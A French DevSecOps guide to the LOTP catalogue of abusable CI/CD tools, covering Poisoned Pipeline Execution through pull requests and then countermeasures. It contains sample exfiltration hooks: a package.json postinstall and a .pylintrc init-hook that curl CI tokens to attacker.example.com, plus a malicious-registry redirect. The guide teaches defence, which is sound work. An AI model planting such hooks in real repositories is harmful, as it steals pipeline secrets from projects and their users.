Aller au contenu
Sécurité medium

Living Off The Pipeline : quand vos outils DevOps deviennent des armes

34 min de lecture

Un simple npm install dans votre pipeline CI peut exfiltrer tous vos secrets. Un .pylintrc modifié dans une pull request peut exécuter du code arbitraire sur votre runner. Ces outils ne sont pas des malwares — ce sont vos outils de développement quotidiens. Le projet LOTP (Living Off The Pipeline), créé par BoostSecurity, est un référentiel qui catalogue 59 outils détournables dans les pipelines CI/CD. Ce guide présente les vecteurs d’attaque répertoriés, deux scénarios concrets en contexte de pull request, et les contre-mesures à mettre en place.

L’analogie est directe avec GTFOBins (binaires Unix exploitables pour escalader des privilèges) : LOTP est le GTFOBins des pipelines CI/CD. Là où GTFOBins répertorie les binaires système exploitables, LOTP répertorie les outils de build, linters et gestionnaires de paquets dont les fonctionnalités légitimes permettent l’exécution de code.

Le problème : des outils de confiance, jamais questionnés

Section intitulée « Le problème : des outils de confiance, jamais questionnés »

Dans un pipeline CI/CD classique, on exécute une succession d’outils — linters, gestionnaires de paquets, builders — en leur faisant une confiance implicite. Personne ne relit le fichier eslint.config.js ou le Makefile d’une pull request avec la même attention qu’un changement de code applicatif.

Or ces outils ont une caractéristique commune : ils exécutent du code via leurs fichiers de configuration, leurs lifecycle scripts ou leurs variables d’environnement. Un attaquant qui modifie l’un de ces fichiers dans une pull request ou une merge request obtient une exécution de code sur le runner CI/CD — avec accès aux secrets, tokens et artefacts du pipeline.

C’est le principe du Poisoned Pipeline Execution (PPE) : l’attaquant ne compromet pas directement le CI, il empoisonne les fichiers que le CI exécute aveuglément.

Comment un simple fichier de configuration peut-il devenir dangereux ? Le référentiel LOTP a identifié 6 mécanismes par lesquels les outils de développement exécutent du code. Comprendre ces mécanismes est essentiel pour savoir ce qui se joue réellement quand votre pipeline lance un npm install ou un pylint src/.

  • Direct Code Execution — Certains outils sont conçus pour exécuter du shell ou un langage de script. C’est leur rôle principal. Quand votre pipeline lance make build, chaque cible du Makefile exécute directement les commandes shell qu’elle contient. Si un attaquant modifie le Makefile dans une PR, il exécute ce qu’il veut. Même principe pour rake (Ruby) ou just.

  • Config File Eval — On pense souvent qu’un fichier de configuration est « juste de la donnée ». Or, pour beaucoup d’outils JavaScript, le fichier de config est du code exécutable. Quand ESLint charge eslint.config.js, Node.js exécute ce fichier — ce n’est pas du JSON qu’on lit, c’est du JavaScript qui tourne. Même chose pour .prettierrc.js, build.gradle (Groovy) ou Rakefile (Ruby). Un attaquant qui ajoute une ligne dans eslint.config.js obtient une exécution de code.

  • Lifecycle Scripts — Les gestionnaires de paquets exécutent automatiquement des scripts à des moments clés : avant l’installation, après l’installation, avant les tests. C’est un mécanisme légitime — par exemple, compiler un module natif après npm install. Le problème : ces scripts se déclenchent sans action explicite du développeur. npm documente à lui seul de nombreux lifecycle scripts (pre/post + hooks sur chaque commande). L’attaquant ajoute un postinstall dans package.json et le pipeline l’exécute aveuglément.

  • Registry Redirect — Au lieu de modifier le code, l’attaquant redirige le gestionnaire de paquets vers un registre qu’il contrôle. Un fichier .npmrc avec registry=https://evil.example.com/ suffit. Pour pip, c’est --index-url ou -i dans requirements.txt. Le pipeline télécharge alors des paquets malveillants au lieu des vrais — et les installe sans broncher.

  • Environment Poisoning — De nombreux outils modifient leur comportement en fonction de variables d’environnement. La plus connue est BASH_ENV : dans GitHub Actions, si un step écrit dans cette variable, le contenu sera exécuté avant chaque step bash suivant. Autre exemple : TAR_OPTIONS injecte des options dans chaque appel à tar, y compris --checkpoint-action=exec= qui exécute du shell.

  • Input File Abuse — Certains outils traitent des fichiers d’entrée de manière dangereuse quand ces fichiers sont contrôlés par l’attaquant. L’exemple classique est le zip-slip via tar : une archive contenant des chemins absolus écrase des fichiers système pendant l’extraction. Avec BuildKit, docker build peut aussi exfiltrer des secrets montés via RUN --mount=type=secret — mais uniquement si des secrets sont injectés au build.

Ces 6 vecteurs sont des mécanismes — ils décrivent comment un outil peut exécuter du code. Mais pour qu’ils deviennent dangereux, il faut un vecteur de livraison : le moyen par lequel l’attaquant fait parvenir son fichier modifié jusqu’au pipeline. Dans la grande majorité des cas, ce vecteur est la pull request (ou merge request).

Le scénario d’attaque : la pull request empoisonnée

Section intitulée « Le scénario d’attaque : la pull request empoisonnée »

Tous les vecteurs ci-dessus convergent vers un même scénario d’exploitation : le Poisoned Pipeline Execution (PPE). L’attaquant ne s’introduit pas dans votre CI — il soumet une contribution qui sera exécutée par votre CI.

Flux d'attaque Poisoned Pipeline Execution : l'attaquant soumet une PR qui modifie un fichier de configuration, le pipeline exécute le code malveillant et les secrets sont exfiltrés

  1. L’attaquant soumet une PR/MR — depuis un fork (open-source) ou un compte compromis (insider). La PR modifie un fichier de configuration : package.json, .pylintrc, Makefile, eslint.config.js
  2. Le pipeline CI se déclenche — automatiquement sur l’événement pull_request ou merge_request. Le runner clone le code de la PR, y compris les fichiers modifiés.
  3. L’outil exécute le code de l’attaquantnpm ci lance le postinstall, pylint évalue le init-hook, ESLint charge le config JS. Le code malveillant s’exécute avec les mêmes droits que le job CI.
  4. Les secrets sont exfiltrésGITHUB_TOKEN, NPM_TOKEN, CI_JOB_TOKEN et toutes les variables d’environnement du runner sont envoyés vers un serveur contrôlé par l’attaquant. Le job se termine normalement — rien dans les logs ne signale l’attaque.

Avant de plonger dans les exemples, posons la question que votre équipe sécurité posera : « qui ferait ça, et dans quel contexte ? ». L’impact d’une PR empoisonnée dépend fortement de deux facteurs : la provenance de la contribution et la configuration du pipeline. Voici les quatre scénarios à connaître, du plus courant au plus vicieux.

Risque : modéré. C’est le scénario le plus fréquent. Un contributeur externe — que personne ne connaît — forke votre dépôt et soumet une PR. Sur GitHub, les protections par défaut limitent l’impact : le GITHUB_TOKEN de la PR est en lecture seule, et les secrets du dépôt ne sont pas transmis au workflow déclenché par un fork.

Mais l’attaquant obtient quand même une exécution de code sur votre runner. Dans le cas d’un runner self-hosted, il peut explorer le réseau interne, accéder aux caches partagés, et pivoter vers d’autres ressources. Même sur un runner hébergé par GitHub, il peut modifier les artefacts du job ou exploiter les variables d’environnement non protégées.

Risque : critique. Ici, l’attaquant a un accès en écriture au dépôt — soit parce que c’est un développeur dont le compte a été compromis (credentials volés, session hijackée), soit un insider malveillant. La PR vient du même dépôt, pas d’un fork.

La différence est majeure : tous les secrets configurés dans le workflow sont accessibles au job. Le GITHUB_TOKEN a les permissions complètes. L’attaquant peut exfiltrer les tokens de publication (npm, Docker Hub), les clés de déploiement (AWS, GCP), et potentiellement publier des artefacts malveillants sous l’identité du projet.

Risque : critique — c’est le piège le plus dangereux et la cause de nombreux incidents réels. Sur GitHub, l’événement pull_request_target exécute le workflow dans le contexte de la branche cible (main), pas de la branche source. Résultat : même une PR venant d’un fork a accès à tous les secrets du dépôt.

Le problème survient quand le workflow fait un actions/checkout sur le code de la PR :

# ⚠️ DANGEREUX — checkout le code non vérifié de la PR
# mais avec les secrets de main
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}

L’attaquant obtient alors une exécution de code avec les secrets de main — le pire des deux mondes. C’est exactement ce vecteur qui a été exploité dans l’incident Ultralytics (décembre 2024).

Risque : élevé. Dans une organisation avec un mono-repo, il y a moins de forks mais beaucoup de branches internes. Chaque développeur peut créer une branche et ouvrir une PR. Les permissions sont souvent larges — parfois tout le monde a accès à tous les secrets du workflow.

Le risque est subtil : un développeur junior ou un stagiaire peut, sans intention malveillante, ajouter un postinstall ou modifier un Makefile sans réaliser les conséquences. Et si un compte est compromis dans un mono-repo où 50 développeurs ont accès en écriture, l’attaquant a un accès direct aux secrets sans passer par un fork.

Les deux exemples qui suivent illustrent concrètement le scénario PPE avec deux vecteurs différents : les lifecycle scripts npm et les fichiers de configuration pylint.

Pour reproduire les exemples dans votre lab :

  • Node.js 22+ et npm
  • Python 3.12+ et pip
  • Un terminal Linux ou macOS

Exemple 1 : npm lifecycle scripts dans une pull request

Section intitulée « Exemple 1 : npm lifecycle scripts dans une pull request »

npm est l’un des vecteurs les plus dangereux répertoriés par LOTP car chaque npm install exécute automatiquement les scripts définis dans package.json. npm définit de nombreux lifecycle scripts (pre/post hooks sur chaque commande) — dont preinstall, install et postinstall qui se déclenchent sans action explicite.

Voici un workflow GitHub Actions classique pour un projet Node.js. Il se déclenche sur chaque pull request et exécute les tests :

.github/workflows/ci.yml
name: CI
on:
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 22
- run: npm ci # Installe les dépendances
- run: npm test # Lance les tests

Ce workflow semble inoffensif. Pourtant, l’étape npm ci exécute automatiquement les lifecycle scripts définis dans package.json — y compris ceux ajoutés par la pull request.

Un contributeur externe soumet une PR qui modifie package.json pour ajouter un script postinstall. En apparence, la PR ajoute une dépendance légitime :

package.json (diff de la PR)
{
"name": "mon-projet",
"version": "2.1.0",
"scripts": {
"test": "jest",
"build": "tsc",
"postinstall": "curl -s https://attacker.example.com/collect?token=$NPM_TOKEN&gh=$GITHUB_TOKEN"
},
"dependencies": {
"express": "^4.18.0"
}
}
  1. La PR est ouverte — le workflow ci.yml se déclenche automatiquement sur l’événement pull_request.

  2. actions/checkout@v4 récupère le code de la PR — y compris le package.json modifié contenant le postinstall malveillant.

  3. npm ci s’exécute sur le runner — npm détecte le script postinstall et l’exécute automatiquement après l’installation des dépendances. Le curl envoie les tokens NPM_TOKEN et GITHUB_TOKEN vers le serveur de l’attaquant.

  4. L’attaquant récupère les secrets — avec le GITHUB_TOKEN, il peut accéder aux autres dépôts de l’organisation. Avec le NPM_TOKEN, il peut publier des paquets malveillants sur le registre npm.

  1. Créer un package.json simulant l’attaque

    package.json
    {
    "name": "lotp-npm-demo",
    "version": "1.0.0",
    "scripts": {
    "postinstall": "echo \"[EXFIL] GITHUB_TOKEN=${GITHUB_TOKEN:-non-defini} | user=$(whoami) | host=$(hostname)\""
    }
    }
  2. Simuler l’exécution du pipeline

    Fenêtre de terminal
    # Simuler les variables d'environnement du runner CI
    export GITHUB_TOKEN="ghp_simulation1234567890"
    # Lancer npm ci comme le ferait le pipeline
    npm install --ignore-scripts=false

    Résultat observé sur le runner :

    > lotp-npm-demo@1.0.0 postinstall
    > echo "[EXFIL] GITHUB_TOKEN=ghp_simulation1234567890 | user=runner | host=fv-az1234"
    [EXFIL] GITHUB_TOKEN=ghp_simulation1234567890 | user=runner | host=fv-az1234
  3. Constater l’impact

    Le script postinstall a eu accès à toutes les variables d’environnement du runner, y compris GITHUB_TOKEN. Dans un vrai pipeline, l’attaquant remplace le echo par un curl vers son serveur — l’exfiltration est silencieuse et ne fait pas échouer le job.

Exemple 2 : pylint init-hook dans une merge request

Section intitulée « Exemple 2 : pylint init-hook dans une merge request »

pylint est un linter Python très répandu dans les pipelines CI/CD. Le référentiel LOTP documente deux options de configuration qui exécutent du Python arbitraire : init-hook (au démarrage) et evaluation (à la fin de l’analyse). La configuration peut être placée dans un fichier .pylintrc à la racine du projet — fichier que personne ne surveille en revue de code.

.gitlab-ci.yml
lint:
stage: test
image: python:3.12-slim
script:
- pip install pylint
- pylint src/
rules:
- if: $CI_MERGE_REQUEST_IID

Ce job GitLab CI exécute pylint sur chaque merge request. pylint charge automatiquement le fichier .pylintrc s’il existe à la racine du projet.

Un contributeur soumet une MR qui ajoute un fichier .pylintrc « pour standardiser le style de code ». Le message de commit est anodin : “chore: add pylint configuration”.

.pylintrc (ajouté par la MR)
[MASTER]
init-hook=__import__("os").system("curl -s https://attacker.example.com/collect?token=" + __import__("os").getenv("CI_JOB_TOKEN","") + "&project=" + __import__("os").getenv("CI_PROJECT_PATH",""))
[FORMAT]
max-line-length=120
indent-string=' '

Le champ init-hook est noyé parmi des options de formatting légitimes. En revue de code, l’attention se porte sur max-line-length et indent-string — pas sur la ligne init-hook qui contient du Python obfusqué.

  1. La MR est ouverte — le job lint se déclenche sur l’événement CI_MERGE_REQUEST_IID.

  2. Le runner clone le code de la MR — y compris le .pylintrc ajouté.

  3. pylint src/ s’exécute — au démarrage, pylint lit .pylintrc et exécute le code Python de init-hook. Le curl envoie le CI_JOB_TOKEN et le CI_PROJECT_PATH vers le serveur de l’attaquant.

  4. Le job se termine normalement — pylint continue son analyse et affiche un score. Rien dans les logs ne signale l’exfiltration. Le CI_JOB_TOKEN GitLab permet d’accéder aux registres de conteneurs, aux autres projets du groupe, et aux artefacts.

  1. Créer un .pylintrc simulant l’attaque

    .pylintrc
    [MASTER]
    init-hook=import os; print(f"[EXFIL] CI_JOB_TOKEN={os.getenv('CI_JOB_TOKEN', 'non-defini')} | user={os.getenv('USER', 'unknown')}")
    [FORMAT]
    max-line-length=120
  2. Créer un fichier Python minimal à analyser

    app.py
    """Application de démonstration."""
    def hello():
    """Affiche un message."""
    print("Hello, World!")
  3. Simuler l’exécution du pipeline

    Fenêtre de terminal
    # Simuler les variables d'environnement du runner GitLab
    export CI_JOB_TOKEN="glcbt-simulation-1234567890"
    # Lancer pylint comme le ferait le pipeline
    pylint app.py

    Résultat observé :

    [EXFIL] CI_JOB_TOKEN=glcbt-simulation-1234567890 | user=runner
    -------------------------------------------------------------------
    Your code has been rated at 10.00/10
  4. Constater l’impact

    Le code Python de init-hook s’est exécuté avant l’analyse pylint. Le job se termine avec un score de 10/10 — rien n’indique qu’une exfiltration a eu lieu. Le champ evaluation est également vulnérable : il accepte une expression Python évaluée à la fin de l’analyse.

Tout ce qui précède peut sembler théorique. Après tout, qui irait vraiment empoisonner un package.json dans une pull request ? La réponse : beaucoup de monde. Les techniques répertoriées par LOTP sont exploitées régulièrement, y compris contre des projets open-source majeurs. Voici quatre incidents récents qui illustrent la réalité de ces attaques.

DateIncidentVecteur exploité
Déc. 2024Ultralytics — injection d’un cryptominer via des workflows GitHub Actions vulnérables, détectés avec poutinePPE via GitHub Actions
Mars 2025tj-actions/changed-files — compromission d’une GitHub Action utilisée par 23 000+ repos pour exfiltrer les secrets CI dans les logsAction modifiée (supply chain)
2025Shai-Hulud — ver NPM démontré par BoostSecurity qui s’auto-réplique entre dépôts via self-hosted runnersnpm lifecycle scripts
2025GlassWorm — extensions VS Code malveillantes détectées sur le marketplaceConfig file eval + npm postinstall

Ces incidents montrent que les attaquants exploitent exactement les mécanismes décrits plus haut : lifecycle scripts npm, fichiers de configuration évalués comme du code, et modification de GitHub Actions. Le point commun ? Dans chaque cas, les fichiers modifiés semblaient légitimes et n’ont pas déclenché d’alerte en revue de code.

Les 59 outils répertoriés, catégorie par catégorie

Section intitulée « Les 59 outils répertoriés, catégorie par catégorie »

Maintenant que vous comprenez les 6 vecteurs d’exploitation, voyons quels outils concrets sont concernés. Le référentiel LOTP en catalogue 59 au total. Les tableaux ci-dessous présentent les plus courants dans les pipelines DevOps — ceux que vous utilisez probablement au quotidien.

Pour chaque outil, on indique le vecteur exploité, les fichiers à surveiller dans une PR/MR, et le risque principal. L’objectif est de vous donner une checklist de lecture : quand vous revoyez une pull request, savoir quels fichiers méritent une attention particulière.

Les gestionnaires de paquets sont les outils les plus à risque car ils s’exécutent systématiquement dans un pipeline CI/CD. Chaque projet passe par un npm install, un pip install ou un bundle install. Comme ces commandes sont considérées comme inoffensives — « on installe juste les dépendances » — personne ne questionne ce qui se passe réellement pendant l’installation.

Or, la plupart de ces outils permettent d’exécuter du code à l’installation (lifecycle scripts) ou de rediriger les téléchargements vers un registre contrôlé par un attaquant (registry redirect).

OutilVecteurFichiers concernésRisque principal
npmLifecycle scripts, env-varpackage.json, .npmrcpostinstall exécute du shell + .npmrc redirige le registre
pipInput-file, eval-pyrequirements.txt, setup.py, pyproject.tomlLa chaîne de build Python (sdist/wheel) peut exécuter du code à l’installation. -i redirige l’index PyPI
yarnConfig-file, eval-js.yarnrc.ymlyarnPath exécute un fichier JS local arbitraire
poetryInput-file, eval-pypyproject.toml, setup.pySources malveillantes, chaîne de build peut exécuter du code
cargoConfig-file, eval-shCargo.toml, build.rsbuild.rs exécuté automatiquement à la compilation
bundlerConfig-file, eval-shGemfile, .bundle/configGemfile = Ruby exécutable, .bundle/config redirige le registre
uvInput-file, eval-pyrequirements.txt, setup.py, pyproject.tomlMêmes vecteurs que pip (chaîne de build Python)
composerConfig-file, eval-shcomposer.jsonScripts PHP exécutés à l’install

Les outils de build sont dangereux par nature : leur rôle est d’exécuter des commandes pour compiler, packager ou publier votre code. Un Makefile est littéralement une liste de commandes shell. Un build.gradle est un programme Groovy complet. Ce qui rend ces outils particulièrement risqués dans un contexte de PR/MR, c’est que le fichier de build fait partie du dépôt — et qu’un contributeur peut le modifier aussi facilement qu’un fichier source.

OutilVecteurFichiers concernésRisque principal
makeDirect code executionMakefileChaque cible exécute du shell directement
gradleConfig-file, eval-groovy/kotlinbuild.gradle(.kts), settings.gradle(.kts)Code Groovy/Kotlin exécuté au chargement du projet
mavenConfig-file, env-varpom.xmlexec-maven-plugin + MAVEN_ARGS
dockerConfig-file, eval-shDockerfileAvec BuildKit, exfiltration de secrets montés via RUN --mount=type=secret
goreleaserConfig-file, eval-sh.goreleaser.yamlHooks before/after exécutent du shell
justDirect code executionjustfileExécution directe de commandes shell
rakeDirect code executionRakefileRuby exécutable, tâches auto-chargées
msbuildConfig-file, input-file*.csproj, Directory.Build.props<Exec> + auto-import de Directory.Build.props

C’est sans doute la catégorie la plus surprenante. On imagine mal qu’un linter — un outil qui vérifie la qualité du code — puisse être un vecteur d’attaque. Pourtant, la majorité des linters JavaScript et Python exécutent leur fichier de configuration au lieu de simplement le lire.

Prenez ESLint : le fichier eslint.config.js n’est pas un fichier de configuration au sens classique (comme du JSON ou du YAML). C’est un module JavaScript que Node.js exécute. Un attaquant qui ajoute process.env ou require('child_process') dans ce fichier obtient une exécution de code sur votre runner. Le scénario est d’autant plus vicieux que ces fichiers de config sont rarement inspectés en revue de code.

OutilVecteurFichiers concernésRisque principal
eslintConfig-file, eval-jseslint.config.{js,mjs,cjs}Config JS exécutée par Node.js au chargement
prettierConfig-file, eval-js.prettierrc.js, prettier.config.jsConfig JS exécutée par Node.js
pylintConfig-file, eval-py.pylintrc, pylintrcinit-hook et evaluation exécutent du Python
flake8Config-file, eval-py.flake8, tox.inilocal-plugins charge un module Python
mypyConfig-file, eval-shmypy.ini, .mypy.iniplugins charge un module Python local
rubocopConfig-file, eval-sh.rubocop.ymlERB + require chargent du Ruby
stylelintConfig-file, eval-js.stylelintrc.{js,cjs,mjs}Custom rules/plugins chargent du JS
checkovConfig-file, eval-py.checkov.ymlexternal-checks-dir exécute du Python
trivyConfig-filetrivy.yamlTemplates Go (sprig) exfiltrent des données

Ces outils ne sont pas spécifiques au développement — on les retrouve sur n’importe quel système Linux. Ce qui les rend exploitables, ce sont des fonctionnalités méconnues : des variables d’environnement qui modifient silencieusement leur comportement, ou des options obscures qui permettent d’exécuter du code.

L’exemple le plus courant est BASH_ENV : cette variable, si elle pointe vers un script, sera exécutée avant chaque commande bash. Dans GitHub Actions, chaque step run: lance un shell bash — ce qui signifie qu’empoisonner BASH_ENV revient à injecter du code dans tous les steps suivants.

OutilVecteurFichiers concernésRisque principal
bashEnv-var, config-file.bashrc, .bash_profileBASH_ENV exécuté avant chaque commande bash
tarInput-file, env-var*.tar.gzTAR_OPTIONS --checkpoint-action=exec= + zip-slip
pythonEnv-varPYTHONWARNINGS + BROWSER = exécution arbitraire
javaEnv-var_JAVA_OPTIONS + -XX:OnOutOfMemoryError = RCE
sedConfig-file, eval-sh*.sedCommande e de GNU sed exécute du shell
wgetEnv-var, config-file.wgetrcuse_askpass exécute un script arbitraire

La dernière catégorie concerne les outils qui interagissent directement avec la plateforme CI/CD elle-même. Ce sont souvent des mécanismes d’automatisation — hooks pre-commit, actions GitHub composites, ou mega-linters — qui ont, par conception, un accès étendu au runner et aux secrets. Un fichier .pre-commit-config.yaml ajouté dans une PR peut exécuter n’importe quelle commande shell si un hook utilise language: system.

OutilVecteurFichiers concernésRisque principal
pre-commitConfig-file, eval-sh.pre-commit-config.yamlHooks language: system = shell arbitraire
actions/github-scriptInjection, eval-js${{ }} injectable dans les inputs
Local GHAConfig-file, eval-shaction.ymlPR fournit un action.yml composite local
MegaLinterConfig-file, eval-sh.mega-linter.ymlPRE_COMMANDS/POST_COMMANDS + Docker socket root
terraformInput-file, eval-shfichiers HCL, stateexternal data source, local-exec, state poisoning

Les contre-mesures ci-dessous sont classées de la plus structurante (à mettre en place en premier) à la plus granulaire. La meilleure défense n’est pas une option en ligne de commande — c’est une architecture de pipeline qui sépare le code de confiance du code non vérifié.

Architecture recommandée : pipelines untrusted vs trusted

Section intitulée « Architecture recommandée : pipelines untrusted vs trusted »

La contre-mesure la plus robuste face au PPE est de séparer vos pipelines en deux niveaux de confiance. L’idée est simple : le code d’une pull request n’est pas encore validé, il ne devrait donc jamais avoir accès aux secrets de production.

Architecture pipeline : séparation entre pipeline untrusted (PR, sans secrets, read-only) et pipeline trusted (merge/tag, avec secrets et publication)

Ce pipeline se déclenche sur chaque pull request ou merge request. Il exécute les tests et linters sur le code non vérifié :

  • Aucun secret injecté dans le job (pas de NPM_TOKEN, pas de CI_JOB_TOKEN avec des droits étendus)
  • Aucune permission en écriture (permissions: read-all dans GitHub Actions)
  • Aucune publication d’artefacts ou d’images vers des registres
  • Caches isolés par PR (clé incluant github.event.pull_request.number)
  • --ignore-scripts activé par défaut
.github/workflows/ci-untrusted.yml
name: CI (untrusted)
on:
pull_request:
branches: [main]
permissions: read-all
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 22
- run: npm ci --ignore-scripts
- run: npm test

L’attaque PPE repose sur la modification de fichiers de configuration dans une PR. La parade : exiger une approbation spécifique quand ces fichiers changent. Sur GitHub, le fichier CODEOWNERS définit qui doit approuver les modifications par chemin :

.github/CODEOWNERS
# Sécurité : approbation DevSecOps requise pour les fichiers de pipeline et de config
.github/workflows/ @org/devsecops-team
.gitlab-ci.yml @org/devsecops-team
package.json @org/devsecops-team
.npmrc @org/devsecops-team
.pylintrc @org/devsecops-team
pylintrc @org/devsecops-team
Makefile @org/devsecops-team
eslint.config.* @org/devsecops-team
.prettierrc.* @org/devsecops-team
.pre-commit-config.yaml @org/devsecops-team
setup.py @org/devsecops-team
pyproject.toml @org/devsecops-team
requirements*.txt @org/devsecops-team

Sur GitLab, le mécanisme équivalent est les règles d’approbation par chemin (Approval Rules avec file_path).

Désactiver les lifecycle scripts (avec stratégie d’allowlist)

Section intitulée « Désactiver les lifecycle scripts (avec stratégie d’allowlist) »
  1. Désactiver tous les scripts par défaut

    Fenêtre de terminal
    npm ci --ignore-scripts
    yarn install --ignore-scripts
  2. Reconstruire uniquement les modules natifs autorisés

    Certains projets nécessitent des scripts de compilation légitimes (modules natifs comme node-gyp, sharp, etc.). Plutôt que de réactiver tous les scripts, autorisez uniquement ceux qui sont nécessaires :

    Fenêtre de terminal
    # Reconstruire un module natif spécifique après revue
    npm rebuild sharp
    npm rebuild bcrypt

    Certains gestionnaires de paquets supportent déjà une allowlist native. Par exemple, Bun propose trustedDependencies dans package.json pour n’autoriser les scripts que sur des paquets spécifiquement listés.

Ne jamais faire confiance aux fichiers .npmrc ou requirements.txt du dépôt pour définir le registre. Forcez l’index en ligne de commande dans le workflow, pas dans un fichier que la PR peut modifier :

Fenêtre de terminal
# pip : forcer l'index officiel en ligne de commande
pip install -r requirements.txt -i https://pypi.org/simple/ --no-deps
# npm : définir le registre dans le workflow, pas dans .npmrc
npm config set registry https://registry.npmjs.org/

Pointer les linters vers une configuration vérifiée ne suffit pas toujours — il faut aussi s’assurer que le linter lui-même n’a pas été modifié par la PR. Voici la posture complète :

Fenêtre de terminal
# ESLint : pointer vers un config vérifié et versionné séparément
eslint --config ./ci-config/eslint.config.js src/
# pylint : ignorer les configs locales du dépôt
pylint --rcfile=/dev/null src/

Pour aller plus loin :

  • Installer les linters depuis main, pas depuis la PR. Idéalement, exécutez les linters dans un conteneur ou un venv construit à partir du code de la branche cible — pas du code de la PR. Cela empêche l’attaquant d’injecter aussi le linter ou un plugin modifié.

  • Bloquer le chargement de plugins locaux quand l’outil le permet (ex : eslint --no-eslintrc pour les anciennes versions d’ESLint).

  • Verrouiller les variables d’environnement dangereuses en début de job :

    - name: Hardening env
    run: |
    unset BASH_ENV TAR_OPTIONS PYTHONWARNINGS
    export PYLINTRC=/dev/null

Les scanners spécialisés détectent automatiquement les vecteurs PPE dans vos workflows — y compris ceux que vous n’auriez pas identifiés manuellement :

  • poutine — analyse statique des workflows GitHub Actions, détecte les vecteurs PPE incluant les outils répertoriés par LOTP
  • zizmor — détection de vulnérabilités dans les workflows (injections ${{ }}, checkout non sécurisés)
  • OpenSSF Scorecard — évaluation de la maturité sécurité d’un projet open-source

L’isolation du runner est votre dernière ligne de défense. Si malgré tout un code malveillant s’exécute, il faut limiter ce qu’il peut faire et empêcher toute persistance :

  • Runners éphémères (détruits après chaque job). Sur GitHub Actions, les runners hébergés par GitHub le sont déjà. Pour les self-hosted, configurez le mode --ephemeral.
  • Clean checkout systématique — pas de workspace réutilisé entre les jobs. Ajoutez clean: true dans actions/checkout.
  • Caches scopés — la clé de cache doit inclure repo + workflow + branche. Ne jamais partager de cache entre un fork et le dépôt principal.
  • Principe du moindre privilège sur les tokens — déclarez permissions: explicitement dans chaque workflow GitHub Actions (pas de permissions: write-all implicite). Dans GitLab CI, utilisez les variables protégées et les environnements.
  • LOTP est un référentiel, pas une attaque. Il catalogue 59 outils de développement standards dont les fonctionnalités légitimes permettent l’exécution de code dans les pipelines CI/CD — l’équivalent de GTFOBins pour le CI/CD.
  • Le vecteur principal est la pull request / merge request : l’attaquant modifie un fichier de configuration (package.json, .pylintrc, Makefile…) et le pipeline exécute le code sans vérification.
  • La revue de code doit inclure les fichiers de configuration — pas seulement le code applicatif. Un .pylintrc modifié est aussi dangereux qu’un rm -rf /.
  • --ignore-scripts et --rcfile=/dev/null sont vos premières lignes de défense dans les pipelines npm et pylint.
  • Scanner vos pipelines avec poutine, zizmor et Scorecard pour détecter automatiquement les vecteurs exploitables.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn